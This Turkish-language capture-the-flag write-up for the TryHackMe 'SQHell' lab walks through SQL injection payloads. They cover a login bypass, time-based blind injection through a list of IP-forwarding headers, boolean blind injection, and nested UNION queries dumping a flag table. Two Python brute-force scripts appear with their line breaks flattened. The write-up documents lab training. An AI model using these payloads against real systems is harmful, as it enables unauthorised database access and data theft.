THM SQHell [TR][Manuel]
Merhaba ,sayfaya girdiğimizde bizi aşağıdaki gibi bir sayfa karşılamaktadır.
Flag-1:
Login bölümünde username kısmına aşağıdaki payladı yazınca ilk flag i başarıyla alırız.
' or 1=1-- -
Muhtemel SQL sorgusu şu şekilde olacaktır:
select * from users where username='' or 1=1 -- -' and password='';
Flag-2:
Ana sayfa kısmında “Terms & Conditions” bölümüne baktığımızda ip adreslerinin analiz için log landığı bilgisini görmekteyiz.
Sunucuya farklı ip adresi gönderebileceğimiz bazı http header ları vardır bunlar aşağıdaki şekildedir.
- X-Backend-Host
- X-BlueCoat-Via
- X-Cache-Info
- X-Forward-For
- X-Forwarded-By
- X-Forwarded-For-Original
- X-Forwarded-For
- X-Forwarded-For
- X-Forwarded-Server
- X-Forwared-Host
- X-From-IP
- X-Gateway-Host
- X-Host
- X-Ip
- X-Original-Host
- X-Original-IP
- X-Original-Remote-Addr
- X-Original-Url
- X-Originally-Forwarded-For
- X-Originating-IP
- X-ProxyMesh-IP
- X-ProxyUser-IP
- X-Real-IP
- X-Remote-Addr
- X-Remote-IP
- X-True-Client-IP
Bu header lara SQLI tespiti için payload eklediğimizde şu hale gelmektedir.
X-Backend-Host: 127.0.0.1';select sleep(5);X-BlueCoat-Via: 127.0.0.1';select sleep(5);X-Cache-Info: 127.0.0.1';select sleep(5);X-Forward-For: 127.0.0.1';select sleep(5);X-Forwarded-By: 127.0.0.1';select sleep(5);X-Forwarded-For-Original: 127.0.0.1';select sleep(5);X-Forwarded-For: 127.0.0.1';select sleep(5);X-Forwarded-For: 127.0.0.1, 127.0.0.1, 127.0.0.1';select sleep(5);X-Forwarded-Server: 127.0.0.1';select sleep(5);X-Forwared-Host: 127.0.0.1';select sleep(5);X-From-IP: 127.0.0.1';select sleep(5);X-From: 127.0.0.1';select sleep(5);X-Gateway-Host: 127.0.0.1';select sleep(5);X-Host: 127.0.0.1';select sleep(5);X-Ip: 127.0.0.1';select sleep(5);X-Original-Host: 127.0.0.1';select sleep(5);X-Original-IP: 127.0.0.1';select sleep(5);X-Original-Remote-Addr: 127.0.0.1';select sleep(5);X-Original-Url: 127.0.0.1';select sleep(5);X-Originally-Forwarded-For: 127.0.0.1';select sleep(5);X-Originating-IP: 127.0.0.1';select sleep(5);X-ProxyMesh-IP: 127.0.0.1';select sleep(5);X-ProxyUser-IP: 127.0.0.1';select sleep(5);X-Real-IP: 127.0.0.1';select sleep(5);X-Remote-Addr: 127.0.0.1';select sleep(5);X-Remote-IP: 127.0.0.1';select sleep(5);X-True-Client-IP: 127.0.0.1';select sleep(5);
Index sayfasını burp ile yakalayarak intruder a yollayalım .Payloadı ekleyelim ve payloadın geleceği kısmı belirtelim.
Buradan beklentimiz SQL sorgumuz başarılı olduğunda 5 saniye beklemesi (uyuması) dır .Her şeyi tamamladıktan sonra saldırıyı başlatalım.
“X-Forwarded-For” header ının response süresi 5000 milisaniye (5 saniye) nin üstündedir .Şimdi ise exploit aşamasına geçelim.
' ;SELECT IF(SUBSTRING(flag,1,1)=CHAR(97),sleep(3),null) FROM flag;--+-
Yukarıdaki payload ile flag tablosunda flag kolomunun ilk karakterinin “97” karakter karşılığı “a” ise 3 saniye bekleyecek değil ise null döndürecektir .Tüm karakterlerini bu şekilde denememiz lazım.Bunu için bir python scripti yazacak olursak şu şekilde olacaktır.
import requestsimport timeflag=""digit=1headers = {'Host': '10.10.92.166','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Referer': 'http://10.10.32.43/','Accept-Encoding': 'gzip, deflate','Accept-Language': 'en-US,en;q=0.9','X-Forwarded-For': '127.0.0.1\' ;SELECT IF(SUBSTRING(flag,1,1)=CHAR(97),sleep(3),null) FROM flag;--+-','Connection': 'close',}while(True):for char in range(127):headers['X-Forwarded-For']=f'127.0.0.1\' ;SELECT IF(SUBSTRING(flag,{digit},1)=CHAR({char}),sleep(3),null) FROM flag;--+-'start_time=time.time()response = requests.get('http://10.10.92.166/', headers=headers)end_time=time.time()if(end_time-start_time>=3):flag+=chr(char)print(flag)breakdigit+=1
Scripti çalıştırdığımızda aşağıdaki gibi bir çıktı alacağız ve sonunda flag tümüyle gözükecektir.
Flag-3:
Register bölümünden kayıt olmaya çalıştığımızda kullanıcı isminin var olup olmadığını bize söylemektedir .Burp ile baktığımızda arkada bir ajax iseteği gittiğini görebiliriz .Var olan kullanıcılarda false var olan kullanıclarda true dönmektedir .Admin kullanıcısı da var olan kullanıcılar arasındadır.
SQLI tespiti için burp repeaterda username parmetersini adm'+'in
olarak belirttiğimizde false döndüğünü göreceğiz.
Buradan anlamamız gerek SQL in string i birleştirdiğidir ,detay için buraya bakabilirsiniz .Bu durumda admin' and (select 1=1)--+-
false dönderecektir yani and operatorünün sağındaki değer true ise false sonucunu görmekteyiz .O halde aşağıdaki şekilde flag tablosunun flag kolonunun ilk karakteri “a”(97) ise “available” false olarak dönecektir.
admin' and (SELECT SUBSTRING(flag,1,1)=CHAR(97) FROM flag) --+-
Bunu python scriptine dönüştürelim.
import requestsflag=""digit=1while(True):for char in range(127):url=f"http://10.10.41.105/register/user-check?username=admin' and (SELECT SUBSTRING(flag,{digit},1)=CHAR({char}) FROM flag)--+-"response = requests.get(url).json()['available']if not response:flag+=chr(char)print(flag)if(chr(char)=="}"):exit(f"[+]{flag}")breakdigit+=1
Script çıktısı:
Flag-4:
Ana sayfadaki blog yazarlarına bakabilmekteyiz admin kullanıcısına baktığımızda “id” değerini 1 görmekteyiz SQLI tespiti için idsini “2–1” yapalım .Sonuç yine admin yani idsi 1 olan kullanıcıdır.Union ile kaç kolomn olduğunu öğrenelim.
-1 union select null,null,null--+-
Şimdi mevcut database deki tablolara baklım.
-1 union select null,group_concat(table_name),null from information_schema.tables where table_schema=database()--+-
User tablosundan verileri çektiğimizde username:admin password:pasword
gelmektedir .Bir süre burada tıkandım kaldım bir sürü deneme yaptım daha sonra postlarda belirtilen linklerin kaybolduğunu fark ettim.
Kullanıcıdan alınan user idsine göre farklı bir veritabanından postları çekmektedir.O tablonun da kolon sayısını bulalım.
-1 union select "1 union select 11,22,33,44",null,null --+-
Şimdi ise o veritabanındaki mevcut tabloları görüntüleyelim.
-1 union select "1 union select 11,group_concat(table_name),33,44 from information_schema.tables where table_schema=database()",null,null --+-
Artık flag için herşey elimizde.Flag almak için payloadımız şu şekilde olacaktır.
-1 union select "7 union select 11,flag,33,44 from flag",null,null from information_schema.tables where table_schema=database();-- -
Flag-5:
Ana sayfaya tekrar döndüğümüzde postların olduğunu görüyoruz .Herhangi bir posta girdiğimizde id değeri görebiliriz SQLI varlığını anlamak için id kısmını “2–1” olarak değiştirdiğimizde “1” id li postu görürsek SQL render ı çıkarma işlemini yapacaktır ve id si 1 olan post gelecektir .SQLI olduğunu tespit ettiğimize göre exploit aşamasına geçebiliriz.
Union sorgusu çalıştırmak için kolon sayıları eşit olmalıdır kolon sayısını bulmak için tek tek arttırarak bulalım.
-1 union select 1,2,3,4-- -
Şimdi ise mevcut database deki tablo isimlerini çekelim.
-1 union select null,null,group_concat(table_name,"\n"),null from information_schema.tables where table_schema=database();-- -
Flag tablosunun olduğunu görüyoruz bu tablonun kolon isimlerine ihtiyacımız var şimdi ise bunları çekelim.
-1 union select null,null,group_concat(column_name,"\n"),null from information_schema.columns where table_name='flag'-- -
Flag tablosunda flag ve id kolomlarının olduğunu gördük artık flag i alabiliriz.
-1 union select null,id,flag,null from flag-- -
Son.
Kaynak